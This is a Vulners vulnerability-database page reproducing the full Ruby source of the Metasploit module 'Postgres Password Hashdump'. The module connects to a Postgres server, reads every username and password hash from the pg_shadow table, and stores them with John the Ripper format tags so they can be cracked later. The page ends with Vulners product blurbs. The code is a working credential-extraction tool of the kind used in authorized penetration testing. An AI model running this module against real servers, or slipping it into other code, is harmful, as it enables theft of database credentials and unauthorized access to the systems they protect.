Lucene search
+L

Postgres Password Hashdump

🗓️ 20 Nov 2011 02:12:07Reported by theLightCosine <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

Postgres Password Hashdump module extracts usernames and encrypted password hashes from a Postgres server for later cracking

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::OptionalSession::PostgreSQL

  def initialize
    super(
      'Name'           => 'Postgres Password Hashdump',
      'Description'    => %Q{
          This module extracts the usernames and encrypted password
        hashes from a Postgres server and stores them for later cracking.
      },
      'Author'         => ['theLightCosine'],
      'License'        => MSF_LICENSE
    )
    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')

  end

  def username
    session ? session.client.params['username'] : datastore['USERNAME']
  end

  def database
    session ? session.client.params['database'] : datastore['DATABASE']
  end

  def password
    # The session or its client doesn't store the password
    session ? nil : datastore['PASSWORD']
  end

  def run_host(ip)
    self.postgres_conn = session.client if session
    # Query the Postgres Shadow table for username and password hashes and report them
    res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)

    service_data = {
        address: postgres_conn.peerhost,
        port: postgres_conn.peerport,
        service_name: 'postgres',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        module_fullname: self.fullname,
        origin_type: :service,
        private_data: password,
        private_type: :password,
        username: username,
        realm_key:  Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
        realm_value: database
    }

    credential_data.merge!(service_data)

    # Error handling routine here, borrowed heavily from todb
    case res.keys[0]
    when :conn_error
      print_error("A Connection Error Occurred")
      return
    when :sql_error
      # We know the credentials worked but something else went wrong
      credential_core = create_credential(credential_data)
      login_data = {
          core: credential_core,
          last_attempted_at: DateTime.now,
          status: Metasploit::Model::Login::Status::SUCCESSFUL
      }
      login_data.merge!(service_data)
      create_credential_login(login_data)

      case res[:sql_error]
      when /^C42501/
        print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient permissions."
        return
      else
        print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{res[:sql_error]}"
        return
      end
    when :complete
      credential_core = create_credential(credential_data)
      login_data = {
          core: credential_core,
          last_attempted_at: DateTime.now,
          status: Metasploit::Model::Login::Status::SUCCESSFUL
      }
      login_data.merge!(service_data)
      # We know the credentials worked and have admin access because we got the hashes
      login_data[:access_level] = 'Admin'
      create_credential_login(login_data)
      print_good("Query appears to have run successfully")
    end


    tbl = Rex::Text::Table.new(
      'Header'  => 'Postgres Server Hashes',
      'Indent'   => 1,
      'Columns' => ['Username', 'Hash']
    )

    service_data = {
        address: postgres_conn.peerhost,
        port: postgres_conn.peerport,
        service_name: 'postgres',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    res[:complete].rows.each do |row|
      next if row[0].nil? or row[1].nil?
      next if row[0].empty? or row[1].empty?

      password = row[1]

      credential_data = {
        origin_type: :service,
        module_fullname: self.fullname,
        private_data: password,
        username: row[0]
      }

      if password.start_with?('md5')
        credential_data[:private_type] = :postgres_md5
        credential_data[:jtr_format] = 'raw-md5,postgres'
      else
        credential_data[:private_type] = :nonreplayable_hash
      end

      credential_data.merge!(service_data)

      credential_core = create_credential(credential_data)
      login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
      }
      login_data.merge!(service_data)
      create_credential_login(login_data)

      tbl << [row[0], password]
    end
    print_good("#{tbl.to_s}")

    postgres_logout if self.postgres_conn && session.blank?
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation